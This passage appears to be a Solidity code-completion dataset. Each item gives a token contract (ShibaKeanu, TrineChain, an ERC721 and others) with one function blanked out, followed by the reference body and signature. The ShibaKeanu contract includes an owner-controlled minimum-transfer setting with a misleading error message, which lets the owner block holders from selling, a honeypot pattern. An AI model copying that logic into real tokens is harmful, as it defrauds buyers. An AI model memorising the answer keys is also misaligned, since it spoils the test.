validTransfer(msg.sender, _to, _value, true); user[msg.sender].balance = user[msg.sender].balance.sub(_value); user[_to].balance = user[_to].balance.add(_value); emit Transfer(msg.sender, _to, _value); return true; } function totalSupply() public view returns (uint256) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256) { return user[_owner].balance; } function lockState(address _owner) public view returns (bool) { return user[_owner].lock; } function allowance(address _owner, address _spender) public view returns (uint256) { return user[_owner].allowed[_spender]; } }
contract Token is ERC20, Pausable { struct sUserInfo { uint256 balance; bool lock; mapping(address => uint256) allowed; } using SafeMath for uint256; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping(address => sUserInfo) user; event Burn(uint256 value); function () public payable { revert(); } function validTransfer(address _from, address _to, uint256 _value, bool _lockCheck) internal view returns (bool) { require(_to != address(this)); require(_to != address(0)); require(user[_from].balance >= _value); if(_lockCheck) { require(user[_from].lock == false); } } function lock(address _owner) public onlyManagers returns (bool) { require(user[_owner].lock == false); user[_owner].lock = true; return true; } function unlock(address _owner) public onlyManagers returns (bool) { require(user[_owner].lock == true); user[_owner].lock = false; return true; } <FILL_FUNCTION> function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { require(_value == 0 || user[msg.sender].allowed[_spender] == 0); user[msg.sender].allowed[_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { validTransfer(_from, _to, _value, true); require(_value <= user[_from].allowed[msg.sender]); user[_from].balance = user[_from].balance.sub(_value); user[_to].balance = user[_to].balance.add(_value); user[_from].allowed[msg.sender] = user[_from].allowed[msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { validTransfer(msg.sender, _to, _value, true); user[msg.sender].balance = user[msg.sender].balance.sub(_value); user[_to].balance = user[_to].balance.add(_value); emit Transfer(msg.sender, _to, _value); return true; } function totalSupply() public view returns (uint256) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256) { return user[_owner].balance; } function lockState(address _owner) public view returns (bool) { return user[_owner].lock; } function allowance(address _owner, address _spender) public view returns (uint256) { return user[_owner].allowed[_spender]; } }
require(_value <= user[msg.sender].balance); user[msg.sender].balance = user[msg.sender].balance.sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(_value); return true;
function burn(uint256 _value) public onlyOwner returns (bool)
function burn(uint256 _value) public onlyOwner returns (bool)
54589
ShibaKeanu
approve
contract ShibaKeanu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000 * 10**9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Shiba Keanu Token'; string private _symbol = 'ShibNu'; uint8 private _decimals = 9; uint256 public _maxTxAmount = 10000 * 10**9 * 10**9; uint256 public _totalFees = 10 * 10**9; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) {<FILL_FUNCTION_BODY> } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function totalFees(uint256 maxTotalFees) external onlyOwner() { _totalFees = _tTotal.mul(maxTotalFees).div( 10**2 ); } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if(sender != owner() && recipient != owner()) require(amount > _totalFees, "Transfer amount exceeds the maxTxAmount."); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract ShibaKeanu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000 * 10**9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Shiba Keanu Token'; string private _symbol = 'ShibNu'; uint8 private _decimals = 9; uint256 public _maxTxAmount = 10000 * 10**9 * 10**9; uint256 public _totalFees = 10 * 10**9; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } <FILL_FUNCTION> function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function totalFees(uint256 maxTotalFees) external onlyOwner() { _totalFees = _tTotal.mul(maxTotalFees).div( 10**2 ); } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if(sender != owner() && recipient != owner()) require(amount > _totalFees, "Transfer amount exceeds the maxTxAmount."); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
_approve(_msgSender(), spender, amount); return true;
function approve(address spender, uint256 amount) public override returns (bool)
function approve(address spender, uint256 amount) public override returns (bool)
5908
TrineChain
transfer
contract TrineChain is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => uint256) locknum; string public constant name = "TrineChain"; string public constant symbol = "TRCON"; uint public constant decimals = 18; uint256 _Rate = 10 ** decimals; uint256 public totalSupply = 1000000000 * _Rate; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Locked(address indexed to, uint256 amount); modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function TrineChain() public { balances[owner] = totalSupply; } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0) && newOwner != owner) { owner = newOwner; } } function lock(address _to, uint256 _amount) private returns (bool) { require(owner != _to); require(_amount >= 0); require(_amount * _Rate <= balances[_to]); locknum[_to]=_amount * _Rate; Locked(_to, _amount * _Rate); return true; } function locked(address[] addresses, uint256[] amounts) onlyOwner public { require(addresses.length <= 255); require(addresses.length == amounts.length); for (uint8 i = 0; i < addresses.length; i++) { lock(addresses[i], amounts[i]); } } function distr(address _to, uint256 _amount) private returns (bool) { require(owner != _to); require(_amount > 0); require(balances[owner] >= _amount * _Rate); balances[owner] = balances[owner].sub(_amount * _Rate); balances[_to] = balances[_to].add(_amount * _Rate); locknum[_to] += lockcheck(_amount) * _Rate; Transfer(owner, _to, _amount * _Rate); return true; } function lockcheck(uint256 _amount) internal pure returns (uint256) { if(_amount < 3000){ return _amount * 4/10; } if(_amount >= 3000 && _amount < 10000){ return _amount * 5/10; } if(_amount >= 10000 && _amount < 50000){ return _amount * 6/10; } if(_amount >= 50000 && _amount < 500000){ return _amount * 7/10; } if(_amount >= 500000){ return _amount * 8/10; } } function distribute(address[] addresses, uint256[] amounts) onlyOwner public { require(addresses.length <= 255); require(addresses.length == amounts.length); for (uint8 i = 0; i < addresses.length; i++) { distr(addresses[i], amounts[i]); } } function lockedOf(address _owner) constant public returns (uint256) { return locknum[_owner]; } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {<FILL_FUNCTION_BODY> } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= balances[_from].sub(locknum[_from])); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } }
contract TrineChain is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => uint256) locknum; string public constant name = "TrineChain"; string public constant symbol = "TRCON"; uint public constant decimals = 18; uint256 _Rate = 10 ** decimals; uint256 public totalSupply = 1000000000 * _Rate; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Locked(address indexed to, uint256 amount); modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function TrineChain() public { balances[owner] = totalSupply; } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0) && newOwner != owner) { owner = newOwner; } } function lock(address _to, uint256 _amount) private returns (bool) { require(owner != _to); require(_amount >= 0); require(_amount * _Rate <= balances[_to]); locknum[_to]=_amount * _Rate; Locked(_to, _amount * _Rate); return true; } function locked(address[] addresses, uint256[] amounts) onlyOwner public { require(addresses.length <= 255); require(addresses.length == amounts.length); for (uint8 i = 0; i < addresses.length; i++) { lock(addresses[i], amounts[i]); } } function distr(address _to, uint256 _amount) private returns (bool) { require(owner != _to); require(_amount > 0); require(balances[owner] >= _amount * _Rate); balances[owner] = balances[owner].sub(_amount * _Rate); balances[_to] = balances[_to].add(_amount * _Rate); locknum[_to] += lockcheck(_amount) * _Rate; Transfer(owner, _to, _amount * _Rate); return true; } function lockcheck(uint256 _amount) internal pure returns (uint256) { if(_amount < 3000){ return _amount * 4/10; } if(_amount >= 3000 && _amount < 10000){ return _amount * 5/10; } if(_amount >= 10000 && _amount < 50000){ return _amount * 6/10; } if(_amount >= 50000 && _amount < 500000){ return _amount * 7/10; } if(_amount >= 500000){ return _amount * 8/10; } } function distribute(address[] addresses, uint256[] amounts) onlyOwner public { require(addresses.length <= 255); require(addresses.length == amounts.length); for (uint8 i = 0; i < addresses.length; i++) { distr(addresses[i], amounts[i]); } } function lockedOf(address _owner) constant public returns (uint256) { return locknum[_owner]; } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } <FILL_FUNCTION> function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= balances[_from].sub(locknum[_from])); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } }
require(_to != address(0)); require(_amount <= balances[msg.sender]); require(_amount <= balances[msg.sender].sub(locknum[msg.sender])); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(msg.sender, _to, _amount); return true;
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success)
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success)
86086
ERC721
safeTransferFrom
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) internal _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap internal _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; // If there is no base URI, return the token URI. if (bytes(_baseURI).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(_baseURI, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(_baseURI, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {<FILL_FUNCTION_BODY> } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned 